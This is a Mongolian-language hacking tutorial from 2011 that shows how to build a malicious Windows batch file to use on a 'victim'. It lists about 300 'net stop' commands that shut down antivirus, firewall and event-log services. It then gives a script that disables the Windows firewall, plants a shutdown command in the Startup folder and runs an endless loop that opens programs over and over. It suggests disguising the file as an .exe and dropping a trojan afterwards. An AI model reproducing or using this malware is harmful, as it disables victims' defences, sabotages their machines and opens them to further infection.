Илрэшгүй "Batch" хак бүтээх - 8 May 2011

1. Эхлээд та хохирогчийн ямар төрлийн вирусийн хамгаалалт хэрэглэдгийг нь мэдэж авах хэрэгтэй, тэгээд доорх кодуудаас тухайн хамгаалалтын кодыг нь олоорой:
net stop AVP.EXE
net stop CFINET32
net stop CFINET
net stop ICMON
net stop SAFEWEB
net stop WEBSCANX
net stop ANTIVIR
net stop MCAFEE
net stop Norton
net stop NVC95
net stop FP-WIN
net stop IOMON98
net stop PCCWIN98
net stop F-PROT95
net stop F-STOPW
net stop PVIEW95
net stop NAVWNT
net stop NAVRUNR
net stop NAVLU32
net stop NAVAPSVC
net stop NISUM
net stop SYMPROXYSVC
net stop RESCUE32
net stop NISSERV
net stop ATRACK
net stop IAMAPP
net stop LUCOMSERVER
net stop LUALL
net stop NMAIN
net stop NAVW32
net stop NAVAPW32
net stop VSSTAT
net stop VSHWIN32
net stop AVSYNMGR
net stop AVCONSOL
net stop WEBTRAP
net stop POP3TRAP
net stop PCCMAIN
net stop PCCIOMON
net stop AHNLAB
net stop KIMLAB
net stop MONSYSNT
net stop MONSVCNT
net stop NAVAPW32
net stop NAVAPSVC
net stop NAVW32
net stop NAVWNT
net stop V3PRO32
net stop V3
net stop V3CFGU
net stop V3P3AT
net stop knlscan
net stop scanner.exe
net stop scanner
net stop SpiderNT
net stop SpiderUI
net stop spider
net stop Vcrmon
net stop vcr32
net stop kavsvc
net stop kav.exe
net stop KVAgent
net stop KVDOS
net stop KVSrvXP
net stop KVwsc
net stop kvwsc
net stop RavMon
net stop RavMonD.exe
net stop RavMonD
net stop RAV.exe
net stop WATCHER
net stop avgupsvc
net stop avgamsvr
net stop avgemc
net stop avgupsvc
net stop zlclient
net stop AszMon.exe
net stop AszTray.exe
net stop AhnRpt
net stop mssvc
net stop ADSpider.exe
net stop firedaemon.exe
net stop servudaemon.exe
net stop firedaemon
net stop CCAPP.exe
net stop servu.exe
net stop McVSEscn.exe
net stop mcagent.exe
net stop fxsvc.exe
net stop clisvc.exe
net stop vrmonsvc.exe
net stop dllhost.exe
net stop RsRavMon
net stop RsCCenter
net stop Norton Antivirus Server
net stop Norton AntiVirus
net stop Serv-U
net stop Norton AntiVirus Auto Protect Service
net stop Norton AntiVirus Client
net stop Symantec AntiVirus Client
net stop Norton AntiVirus Server
net stop NAV Alert
net stop Nav Auto-Protect
net stop McShield
net stop DefWatch
net stop eventlog
net stop WMDM PMSP Service
net stop lmhosts
net stop eventlog
net stop InoRPC
net stop InoRT
net stop InoTask
net stop IREIKE
net stop IPSECMON
net stop GhostStartService
net stop SharedAccess
net stop NAVAPSVC
net stop NISUM
net stop SymProxySvc
net stop NISSERV
net stop ntrtscan
net stop tmlisten
net stop PccPfw
net stop tmproxy
net stop Tmntsrv
net stop PCCPF
net stop AvSynMgr
net stop McAfeeFramework
net stop Micorsoft Network Firewall Service
net stop avgServ
net stop MonSvcNT
net stop V3MonNT
net stop V3MonSvc
net stop spidernt
net stop MCVSrte
net stop SweepNet
net stop SWEEPSRV.SYS
net stop Aavgupsvc
net stop KVAgent
net stop KVDos.exe
net stop KVSrvXP.exe
net stop kvwsc.exe
net stop DefWatch.exe
net stop DWHWizrd.exe
net stop LDVPREG.exe
net stop LuaWrap.exe
net stop Rtvscan.exe
net stop SavRoam.exe
net stop SymClnUp.exe
net stop VPC32.exe
net stop VPDN_LU.exe
net stop VPTray.exe
net stop viruscan
net stop viruscan.inf
net stop viruscan1.dat
net stop viruscan2.dat
net stop GhostStartTrayApp
net stop GhReboot
net stop ghstwalk
net stop ghwrap
net stop Ghost Boot Wizard
net stop ghost
net stop Ghostexp
net stop GhostStart
net stop GhostStartService
net stop AVG RESIDENT SHIELD
net stop "Turbo Vaccine Monitering service"
net stop "MonSvcNT"
net stop "rising process communication center"
net stop "rising realtime monitor service"
net stop "OfficeScanNT Monitor"
net stop "RemoteAgent"
net stop "Ahnlab Task Scheduler"
net stop "Panda Antivirus"
net stop "ZoneAlarm"
net stop "Detector de OfficeScanNT"
net stop "Symantec Proxy Service"
net stop "Symantec Event Manager"
net stop "Norton Internet Security Accounts Manager"
net stop "Norton Internet Security Proxy Srvice"
net stop "Norton Internet Security service"
net stop "Norton AntiVirus Server"
net stop "Norton AntiVirus Auto Protect Service"
net stop "Norton AntiVirus Client"
net stop "Notron Antivirus pro Edition"
net stop "ViRobot Professional Monitoring"
net stop "PC-cillin Personal Firewall"
net stop "Trend Micro Proxy Service"
net stop "Trend NT Realtime Service"
net stop "Trend Micro Real-time Service"
net stop "Trend Micro Personal Firewall
net stop "Trend Micro Central Control Component""
net stop "McAfee.com McShield"
net stop "McAfee.com VirusScan Online Realtime Engine"
net stop "McAfee Agent"
net stop " McAfee SecurityCenter Update Manager "
net stop "McShield"
net stop "SyGateService"
net stop "Sygate Personal Firewall Pro"
net stop "Sygate Personal Firewall"
net stop "Sophos Anti-Virus"
net stop "Sophos Anti-Virus Network"
net stop "eTrust Antivirus Job Server"
net stop "eTrust Antivirus Realtime Server"
net stop "eTrust Antivirus RPC Server"
net stop "ViRobot Expert Monitoring"
net stop "ViRobot Lite Monitoring"
net stop "Quick Heal Online Protection"
net stop "V3MonNT"
net stop "V3MonSvc"
net stop "Security Center"
net stop "Windows Firewall"
net stop "Windows Internet Connection Sharing(ICS)"
net stop "NAV Alert"
net stop "NAV Auto-Protect"
net stop "ScriptBlocking Service"
net stop "DefWatch"
net stop "Background Intelligent Transfer Service"
net stop "System Event Notification"
net stop "BlackICE"
net stop "AVSync Manager"
net stop "AVG7 Alert Manager Server"
net stop "AVG7 Update Service"
net stop "InVircible Scheduler"
net stop "kavsvc"
net stop "avast! Antivirus"
net stop "avast! iAVS4 Control Service"
net stop "Trend ServerProtect Agent"
net stop "Trend ServerProtect "
net stop "AVG6 Service"
net stop "AVG RESIDENT SHIELD"
net stop "nod32kui"
net stop nod32kui
net stop "nod32krn"
net stop nod32krn
net stop "nod32krn.exe"
net stop nod32krn.exe
net stop "Turbo Vaccine Monitoring Service"
net stop "MonSvcNT"
net stop "rising process communication center"
net stop "rising realtime monitor service"
net stop "OfficeScanNT Monitor"
net stop "RemoteAgent"
net stop "Ahnlab Task Scheduler"
net stop "Panda Antivirus"
net stop "ZoneAlarm"
net stop "Detector de OfficeScanNT"
net stop "Symantec Proxy Service"
net stop "Symantec Event Manager"
net stop "Norton Internet Security Accounts Manager"
net stop "Norton Internet Security Proxy Srvice"
net stop "Norton Internet Security service"
net stop "Norton AntiVirus Server"
net stop "Norton AntiVirus Auto Protect Service"
net stop "Norton AntiVirus Client"
net stop "Norton AntiVirus Corporate Edition"
net stop "ViRobot Professional Monitoring"
net stop "PC-cillin Personal Firewall"
net stop "Trend Micro Proxy Service"
net stop "Trend NT Realtime Service"
net stop "Trend Micro Real-time Service"
net stop "Trend Micro Personal Firewall
net stop "Trend Micro Central Control Component""
net stop "McAfee.com McShield"
net stop "McAfee.com VirusScan Online Realtime Engine"
net stop "McAfee Agent"
net stop " McAfee SecurityCenter Update Manager "
net stop "McShield"
net stop "SyGateService"
net stop "Sygate Personal Firewall Pro"
net stop "Sygate Personal Firewall"
net stop "Sophos Anti-Virus"
net stop "Sophos Anti-Virus Network"
net stop "eTrust Antivirus Job Server"
net stop "eTrust Antivirus Realtime Server"
net stop "eTrust Antivirus RPC Server"
net stop "ViRobot Expert Monitoring"
net stop "ViRobot Lite Monitoring"
net stop "Quick Heal Online Protection"
net stop "V3MonNT"
net stop "V3MonSvc"
net stop "Security Center"
net stop "Windows Firewall"
net stop "Windows Internet Connection Sharing(ICS)"
net stop "NAV Alert"
net stop "NAV Auto-Protect"
net stop "ScriptBlocking Service"
net stop "DefWatch"
net stop "Background Intelligent Transfer Service"
net stop "System Event Notification"
net stop "BlackICE"
net stop "AVSync Manager"
net stop "AVG7 Alert Manager Server"
net stop "AVG7 Update Service"
net stop "InVircible Scheduler"
net stop "kavsvc"
net stop "avast! Antivirus"
net stop "avast! iAVS4 Control Service"
net stop "Trend ServerProtect Agent"
net stop "Trend ServerProtect "
net stop "AVG6 Service"

Жишээ нь Нортон хэрэглэдэг бол: net stop Norton, хэрвээ үнэхээр олж чадахгүй байвал net stop "Security Center” гэдгийг нь хэрэглэж болно.

2. Notepad нээгээд: @echo off
net stop "Security Center”
net stop SharedAccess
netsh firewall set opmode mode=disable
echo shutdown -s >> "%systemdrive%\documents and settings\start menu\programs\startup\virus.bat" гэж бич.

Ингээд хадаглахдаа .bat өргөтгөлтэй хадгалаад, exe болгож хувиргадаг програм байгаа бол түүгээрээ хувиргалт хийгээд явуулж болно. Гэхдээ жоохон хачир нэмбэл яаж байна? саяны бичсэн кодын доор
:virus
start cmd.exe
start command.com
start mspaint.exe
goto :virus гээд нэмээр биччих. Тэгээл хадаглахдаа .bat өргөтгөлтэй хадгалаад, exe болгож хувиргадаг програм байгаа бол түүгээрээ хувиргалт хийгээд
явуул. Мөн нэгэн хамгаалалтын унтраасан бол интернетээс трожан татаж аваад явуулчихвал илүү аюултай зүйл ч болж болно

Санамж: Энэхүү код нь компьютерын шаардлагатай хамгаалалтуудыг унтрааж, сөрөг нөлөө л үзүүлэх тул өөр дээрээ туршсан болон хохирогчийн РС - д асуудал үүсвэл би болон манай сайт хариуцахгүй.